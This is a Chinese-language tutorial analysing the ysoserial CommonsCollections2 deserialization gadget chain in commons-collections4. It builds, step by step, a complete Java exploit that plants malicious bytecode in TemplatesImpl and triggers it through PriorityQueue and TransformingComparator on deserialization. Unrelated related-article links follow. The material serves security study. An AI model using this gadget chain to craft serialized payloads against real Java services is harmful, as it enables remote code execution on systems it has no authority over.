Java安全 ysoserial CommonsCollections2示例分析
正文
在最后一步的實現(xiàn)上,cc2和cc3一樣,最終都是通過TemplatesImpl惡意字節(jié)碼文件動態(tài)加載方式實現(xiàn)反序列化。
已知的TemplatesImpl->newTransformer()是最終要執(zhí)行的。
TemplatesImpl類動態(tài)加載方式的實現(xiàn)分析見ysoserial CommonsCollections3 分析中的一、二部分。
TemplatesImpl->newTransformer()的調(diào)用通過InvokerTransformer.transform()反射機制實現(xiàn),這里可以看ysoserial CommonsCollections1 分析中的前半部分內(nèi)容。
cc2 commons-collections4版本利用鏈
cc2是針對commons-collections4版本,利用鏈如下:
/* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
InvokerTransformer.transform()利用
所以在InvokerTransformer.transform()之后的利用如下:
public class CC2Test2 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field name = templates_cl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"xxx"); Field transletIndex = templates_cl.getDeclaredField("_transletIndex"); transletIndex.setAccessible(true); transletIndex.set(templates,0); byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class")); byte[][] codes = [code]; //給_bytecodes賦值 Field bytecodes = templates_cl.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes); //要順利執(zhí)行,_tfactory得賦值,因為defineTransletClasses中調(diào)用了_tfactory的getExternalExtensionsMap //_tfactorys是TransformerFactoryImpl類型的 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field tfactory = templates_cl.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,transformerFactory); InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null); transformer.transform(templates); } }
InvokerTransformer.transform()的調(diào)用
TransformingComparator的compare,實現(xiàn)了對屬性this.transformer的transform調(diào)用,這里可以通過TransformingComparator構(gòu)造方法為該屬性賦值。
public class TransformingComparator<I, O> implements Comparator<I>, Serializable { private static final long serialVersionUID = 3456940356043606220L; private final Comparator<O> decorated; private final Transformer<? super I, ? extends O> transformer; public TransformingComparator(Transformer<? super I, ? extends O> transformer) { this(transformer, ComparatorUtils.NATURAL_COMPARATOR); } public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) { this.decorated = decorated; this.transformer = transformer; } public int compare(I obj1, I obj2) { O value1 = this.transformer.transform(obj1); O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); } }
通過compare的調(diào)用
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null); TransformingComparator transformingComparator = new TransformingComparator(transformer); transformingComparator.compare(null,templates);
TransformingComparator.compare()的調(diào)用
PriorityQueue類中的readobject()調(diào)用了heapify(),heapify()中調(diào)用了siftDown(),siftDown()調(diào)用了siftDownUsingComparator(),siftDownUsingComparator()方法實現(xiàn)了comparator.compare()調(diào)用。
那么只要將transformingComparator對象賦值給comparator,可以通過反射,也可以通過構(gòu)造方法,這里通過構(gòu)造方法,且initialCapacity不能小于1。
public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) { // Note: This restriction of at least one is not actually needed, // but continues for 1.5 compatibility if (initialCapacity < 1) throw new IllegalArgumentException(); this.queue = new Object[initialCapacity]; this.comparator = comparator; }
由于comparator.compare()中的參數(shù)來自queue,所以需要將templates賦值給queue。
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(templates);
但是由于在priorityQueue.add()方法中會調(diào)用siftUp()->siftUpUsingComparator()->comparator.compare()。
priorityQueue.add()中帶入的參數(shù)對象如果不存在newTransformer方法將報錯,另外使用templates作為參數(shù),又會導(dǎo)致在序列化過程構(gòu)造惡意對象的時候得到執(zhí)行。所以這里先用toString()方法代替,后通過反射方式修改this.iMethodName屬性。
TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName"); iMethodName.setAccessible(true); iMethodName.set(transformer,"newTransformer");
queue屬性賦值
transient queue無法序列化,但在PriorityQueue的writeobject()、readobject中對queue做了重寫,實現(xiàn)序列化和反序列化。
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException { //略 for (int i = 0; i < size; i++) s.writeObject(queue[i]); }
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { //略 for (int i = 0; i < size; i++) queue[i] = s.readObject(); heapify(); }
通過反射修改queues[0],利用如下:
TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName"); iMethodName.setAccessible(true); iMethodName.set(transformer,"newTransformer"); Field queue = priorityQueue.getClass().getDeclaredField("queue"); queue.setAccessible(true); Object[] queues = (Object[]) queue.get(priorityQueue); queues[0] = templates; //這里得替換queues[0] //如果queues[0]依舊保留使用Integer,會因為無法找到newTransformer報錯。
最終完整利用實現(xiàn)
public class CC2Test2 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field name = templates_cl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"xxx"); Field transletIndex = templates_cl.getDeclaredField("_transletIndex"); transletIndex.setAccessible(true); transletIndex.set(templates,0); byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class")); byte[][] codes = [code]; //給_bytecodes賦值 Field bytecodes = templates_cl.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes); //要順利執(zhí)行,_tfactory得賦值,因為defineTransletClasses中調(diào)用了_tfactory的getExternalExtensionsMap //_tfactorys是TransformerFactoryImpl類型的 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field tfactory = templates_cl.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,transformerFactory); InvokerTransformer transformer = new InvokerTransformer("toString", null, null); TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName"); iMethodName.setAccessible(true); iMethodName.set(transformer,"newTransformer"); Field queue = priorityQueue.getClass().getDeclaredField("queue"); queue.setAccessible(true); Object[] queues = (Object[]) queue.get(priorityQueue); queues[0] = templates; ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser")); objectOutputStream.writeObject(priorityQueue); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser")); objectInputStream.readObject(); } }
以上就是Java安全 ysoserial CommonsCollections2示例分析的詳細內(nèi)容,更多關(guān)于Java ysoserial CommonsCollections的資料請關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
在SpringBoot中實現(xiàn)一個訂單號生成系統(tǒng)的示例代碼
在Spring Boot中設(shè)計一個訂單號生成系統(tǒng),主要考慮到生成的訂單號需要滿足的幾個要求:唯一性、可擴展性、以及可能的業(yè)務(wù)相關(guān)性,本文給大家介紹了幾種常見的解決方案及相應(yīng)的示例代碼,需要的朋友可以參考下2024-02-02Eclipse添加xml文件提示及Hibernate配置學(xué)習
文件提示功能在開發(fā)過程中很實用的,本文實現(xiàn)了一個Eclipse添加xml文件提示,感興趣的朋友可以了解下啊,希望本文對你有所幫助2013-01-01intellij idea 啟動tomcat 1099端口被占用的解決
這篇文章主要介紹了intellij idea 啟動tomcat 1099端口被占用的解決,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習或者工作具有一定的參考學(xué)習價值,需要的朋友們下面隨著小編來一起學(xué)習學(xué)習吧2019-09-09java基礎(chǔ)實現(xiàn)猜數(shù)字小游戲
這篇文章主要為大家詳細介紹了java基礎(chǔ)實現(xiàn)猜數(shù)字小游戲,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下2021-11-11教你用MAT工具分析Java堆內(nèi)存泄漏問題的解決方法
今天給大家?guī)淼氖顷P(guān)于Java的相關(guān)知識,文章圍繞著如何使用MAT工具分析Java堆內(nèi)存泄漏問題的解決方法展開,文中有非常詳細的介紹及代碼示例,需要的朋友可以參考下2021-06-06SpringBoot實現(xiàn)MapperScan添加動態(tài)配置(占位符)
這篇文章主要介紹了SpringBoot實現(xiàn)MapperScan添加動態(tài)配置(占位符),具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教。2022-01-01非maven項目快速轉(zhuǎn)換為maven項目的方法步驟
時候我們導(dǎo)入的項目并不是有maven來管理依賴的,而是要手動添加jar包,比較麻煩,本文主要介紹了非maven項目快速轉(zhuǎn)換為maven項目的方法步驟,具有一定的參考價值,感興趣的可以了解一下2024-01-01